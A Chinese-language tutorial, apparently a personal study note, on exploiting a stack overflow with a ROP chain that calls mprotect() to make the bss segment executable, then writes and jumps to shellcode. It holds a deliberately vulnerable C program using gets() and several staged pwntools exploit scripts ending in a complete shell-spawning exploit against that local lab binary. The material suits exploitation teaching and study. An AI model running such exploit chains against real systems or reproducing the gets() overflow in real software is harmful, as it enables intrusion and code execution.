看到网上很少专门写这个漏洞利用方式的文章,就想参考自己之前的学习记录来写一篇记录.
mprotect()函数: 用来修改一段指定内存区域的保护属性.
函数原型如下:
int mprotect(const void* start, size_t len, int prot); - void* start: 区段开始位置 - size_t len: 区段的大小 - int prot:区段的权限(可以用8进制来表示)
我们可以通过mprotect()函数来修改区段的权限(例如bss),使其权限变为(rwx),然后将shellcode写进去并跳转过去.
写一个c来测试一下,为了方便测试,就关闭了canary保护.(附件提供写好的题目,源码和exp)
#include <stdio.h> #include <stdlib.h> void vuln(){ char s[0x20]; puts("Input:"); gets(&s); } int main(void){ vuln(); exit(0); }
编译:
gcc -fno-stack-protector test.c -o vuln
#### 检查保护:
[*] '/mnt/hgfs/Ubuntu/mycode/demo/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
from pwn import * r = process('./vuln') elf = ELF('./vuln') rop = ROP('./vuln') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.binary = './vuln' context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] pop_rdi_ret = 0x0000000000400663 vuln_addr = 0x00000000004005B6 ######### step1 : leak_libc payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(elf.got['puts']) payload+= p64(elf.plt['puts']) payload+= p64(vuln_addr) r.recvuntil("Input:") r.sendline(payload) r.recvline() leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00')) libc.address = leak_addr - libc.sym['puts'] success("libc_base = 0x%x",libc.address) r.interactive()
运行结果:
from pwn import * r = process('./vuln') elf = ELF('./vuln') rop = ROP('./vuln') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.binary = './vuln' context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] pop_rdi_ret = 0x0000000000400663 main_addr = 0x00000000004005DC bss_start_addr = 0x00601000 ######### step1 : leak_libc payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(elf.got['puts']) payload+= p64(elf.plt['puts']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) r.recvline() leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00')) libc.address = leak_addr - libc.sym['puts'] success("libc_base = 0x%x",libc.address) # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret" pop_rsi_ret = libc.address + 0x00000000000202e8 # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret" pop_rdx_ret = libc.address + 0x0000000000001b92 ######### step2 : mprotect_bss_to_rwx payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(bss_start_addr) payload+= p64(pop_rsi_ret) payload+= p64(0x1000) payload+= p64(pop_rdx_ret) payload+= p64(0x7) payload+= p64(libc.sym['mprotect']) payload+= p64(main_addr) r.recvuntil("Input:") gdb.attach(r) r.sendline(payload) r.interactive()
查看bss段(修改前):
函数参数:
修改后的bss:
from pwn import * import time r = process('./vuln') elf = ELF('./vuln') rop = ROP('./vuln') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.binary = './vuln' context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] pop_rdi_ret = 0x0000000000400663 main_addr = 0x00000000004005DC bss_start_addr = 0x00601000 shellcode_addr = 0x00602000-0x100 ######### step1 : leak_libc payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(elf.got['puts']) payload+= p64(elf.plt['puts']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) r.recvline() leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00')) libc.address = leak_addr - libc.sym['puts'] success("libc_base = 0x%x",libc.address) # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret" pop_rsi_ret = libc.address + 0x00000000000202e8 # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret" pop_rdx_ret = libc.address + 0x0000000000001b92 ######### step2 : mprotect_bss_to_rwx payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(bss_start_addr) payload+= p64(pop_rsi_ret) payload+= p64(0x1000) payload+= p64(pop_rdx_ret) payload+= p64(0x7) payload+= p64(libc.sym['mprotect']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) ######### step3 : gets_shellcode_to_bss payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(shellcode_addr) payload+= p64(libc.sym['gets']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) time.sleep(1) gdb.attach(r) r.sendline(asm(shellcraft.sh())) # context.binary = './vuln' r.interactive()
context.binary = './vuln'
可以看到此时shellcode已经写入我们构造的bss段
## 0x04:getshell
跳转到bss段即可,
完整的exp如下:
from pwn import * import time r = process('./vuln') elf = ELF('./vuln') rop = ROP('./vuln') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.binary = './vuln' context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] pop_rdi_ret = 0x0000000000400663 main_addr = 0x00000000004005DC bss_start_addr = 0x00601000 shellcode_addr = 0x00602000-0x100 ######### step1 : leak_libc payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(elf.got['puts']) payload+= p64(elf.plt['puts']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) r.recvline() leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00')) libc.address = leak_addr - libc.sym['puts'] success("libc_base = 0x%x",libc.address) # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret" pop_rsi_ret = libc.address + 0x00000000000202e8 # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret" pop_rdx_ret = libc.address + 0x0000000000001b92 ######### step2 : mprotect_bss_to_rwx payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(bss_start_addr) payload+= p64(pop_rsi_ret) payload+= p64(0x1000) payload+= p64(pop_rdx_ret) payload+= p64(0x7) payload+= p64(libc.sym['mprotect']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) ######### step3 : gets_shellcode_to_bss payload = cyclic(40) payload+= p64(pop_rdi_ret) payload+= p64(shellcode_addr) payload+= p64(libc.sym['gets']) payload+= p64(main_addr) r.recvuntil("Input:") r.sendline(payload) time.sleep(1) # gdb.attach(r) r.sendline(asm(shellcraft.sh())) # context.binary = './vuln' ######### step4 : ret2bss payload = cyclic(40) payload+= p64(shellcode_addr) r.recvuntil("Input:") r.sendline(payload) r.interactive()